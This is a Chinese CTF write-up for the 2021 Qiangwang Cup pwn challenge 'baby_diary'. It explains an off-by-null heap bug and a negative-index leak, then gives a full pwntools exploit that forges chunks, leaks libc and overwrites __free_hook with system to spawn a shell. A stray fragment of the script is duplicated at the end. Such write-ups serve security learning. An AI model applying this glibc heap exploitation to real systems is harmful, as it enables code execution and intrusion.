2021强网杯 pwn baby_diary

保护

在这里插入图片描述

熟悉得菜单
在这里插入图片描述write
在这里插入图片描述在这里插入图片描述
这里有个稍稍复杂的机制。

在我们输入内容之后是一个’\x00’,紧接着后面会跟一个后面的数&0xf0再加后面函数的返回值。
后面函数是干嘛的。

在这里插入图片描述会控制后面哪一个字节。
具体来说是后面一个字节的高四位不变,第四位是所有字节加起来之后,将每个四位的数字加起来,如果大于0xf就再来一次,知道小于0xf。

所以我们就可以控制下一个chunk的size的低四位。但是我们不可能让它等于0.

read
在这里插入图片描述正常的输出。

在这里插入图片描述输出有判定条件,要求我们多出来的那个数字必须是1才可以输出,因为你看函数返回值&1之后要么为0,要么为1.v2不可能是0,所以v2必须是1,这就要求我们show的这个chunk没有溢出,没有其它的情况。

delete
在这里插入图片描述
看得到清理得还是很干净的。

我们的思路是这样的。
off by null 要么overlap,要么unlink。overlap的做法就是我们的house of einherjar
关于null我们可以两次释放申请一个fastbiin chunk,第一次修改最后一位为0,第二次再设置prev_size。
但是出问题了,报错。

在这里插入图片描述

看了一下源码,

在这里插入图片描述2.29之后通过这个检查把这种house of ein就没了。

所以我们只能考虑unlink。
unlink需要泄露地址,泄露一个heap地址,或者程序基地址。
没想出来。

参考了NU1L的wp,大佬还是大佬。
问题出在show,show越界了。

它没有限制我们show的index为负数。我们可以尝试一下,当我们show一个负数的时候,可以泄露哪里的地址。

我们试图从address_array向上寻找。
便于我们查找的区间是有限的,因为序号负数的时候用的是chunk的address,我们可以控制的address_array是有限的,所以我们不能找太离谱的。

gdb调试往上调,我们发现了一个这样的地方。
在这里插入图片描述
1008那里,它有bss上的一个地址,而且离下面的address_array距离并不远,show(-11)就可以做到。

我们想拿到这个地址,那么我们需要show(-11),并且绕过一系列的检查。
首先第一个问题就是,我们的size_array在-11的地方有没有一个合适的值。

我们发现在这里插入图片描述
size_array上面紧接着就是address_array,我们计算一下-11的size会在第23个chunk的高四个字节。

所以我们要首先申请够23个chunk。
申请chunk之后我们对应的show(-11)的size大小会在0x5555左右,我们就需要在那一块申请到地址,我们必须在那个地方留一个值,这样才能绕开show那里的检查,做到释放,所以申请的时候就申请大一点,然后里面的数据留‘\xff’或者其他的都可以。

剩下的爆破就行。

到此呢我们做到了一个什么事情,我们可以得到程序的pie。
贴一下爆破的部分算了,剩下的就自己随便写了。

from pwn import *

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")

def add(size, content):
        r.sendlineafter(">> ", "1")
        r.sendlineafter("size: ", str(size))
        r.sendafter("content: ", content)
        
def show(index):
        r.sendlineafter(">> ", "2")
        r.sendlineafter("index: ", str(index))
                             
def dele(index):
        r.sendlineafter(">> ", "3")
        r.sendlineafter("index: ", str(index))

while True:
        try:
                r = process('./baby_diary')
                for i in range(22):
                        add(0x1000,'\xff'*0x1000)
                add(0x7000000,'aaaa\n')
                show(-11)
                r.recvuntil('\x08')
                break
        except EOFError:
                r.close()
                continue
        
leak = u64(b'\x08' + r.recv(5) + b'\x00\x00') - 0x4008
gdb.attach(r)
input()

然后再去伪造chunk做一个unlink。但是别的师傅教会我另外一种方法。
它来自一篇博客。

2.29 off by null

它也是在伪造chunk,但是做法更复杂也更高级。
不需要泄露地址,伪造chunk的地址完全用large bin地址,用small bin地址,用了fastbin 地址。

我们这个题目根据题目特性,因为那个write函数的问题,做法跟他的有些出入。但是道理是一样的,大家可以去看看那个博客。

下面的图是我这里伪造好的chunk。
在这里插入图片描述伪造好也是随便利用了。

exp

from pwn import*

context.log_level = "debug"

r = process("./baby_diary")

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")

def add(size, content):
        r.sendlineafter(">> ", "1")
        r.sendlineafter("size: ", str(size))
        r.sendlineafter("content: ", content)
        
def show(index):
        r.sendlineafter(">> ", "2")
        r.sendlineafter("index: ", str(index))
                             
def delete(index):
        r.sendlineafter(">> ", "3")
        r.sendlineafter("index: ", str(index))


for i in range(7):
    add(0x38-1,'aaaa')  # 0-6

add(0x98-1,"aaaa") #7   这里的大小的确立是想把fakechunk放在最后一个字节为0的地方。

add(0xb40, "largebin") #8
add(0x10, "aaaa") #9

delete(8)

add(0x1000, '')   #8   ;chunk8 to largebin 
add(0x38-1, '' ) # 10

# make fd->bk = fakechunk
# 切割largebin
add(0x38-1,'aaaa') #11
add(0x80,'aaaa') #12   能把chunk13放在最后一个字节\x00的地方
add(0x38-1, 'a') #13
add(0x38-1, 'b') #14
add(0x38-1, 'c') #15
add(0x38-1, 'd') #16


for i in range(7):
    delete(i)

delete(15)  #
delete(13)  #0x600

# clear tcache
for i in range(7): # 0-6
    add(0x38-1, '')


add(0x420,'aaaa') #13   fastbin to small bin
add(0x38-1,p64(0x50))  #15  0x600

# fakechunk size
delete(10)
add(0x38-1,'\x00'*7+'\x03'+p64(0x201)) #修改fake_chunk fd

# make bk->fd = fakechunk
# clear chunk from tcache
add(0x38-1, 'clear')  #17
 
for i in range(7):  #0-6
    delete(i)
 
# free to fastbin
delete(11) 
delete(10) #fake_chunk  0x4f0   

 
for i in range(7): #0 - 6
    add(0x38-1, '')

# change fake chunk's bk->fd
add(0x38-1, '')

# fake pre_inuse /  prev_size
delete(16)
add(0x38-1,'\x00'*0x37) #11
delete(11)
add(0x38-1,'\x00'*0x2f+'\x20')

gdb.attach(r)

delete(13)

add(0x30, '')
add(0x20, '')
add(0x30, '')

show(12)

malloc_hook = (u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00")) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print "libc_base = " + hex(libc_base)

delete(17)
delete(15)

add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))


# add(0x30,"cat flag\x00")
add(0x30,'/bin/sh\x00')  #17
add(0x30,p64(system_addr))  #19

delete(17)


r.interactive()
libc_base = " + hex(libc_base)

delete(17)
delete(15)

add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))


# add(0x30,"cat flag\x00")
add(0x30,'/bin/sh\x00')  #17
add(0x30,p64(system_addr))  #19

delete(17)


r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值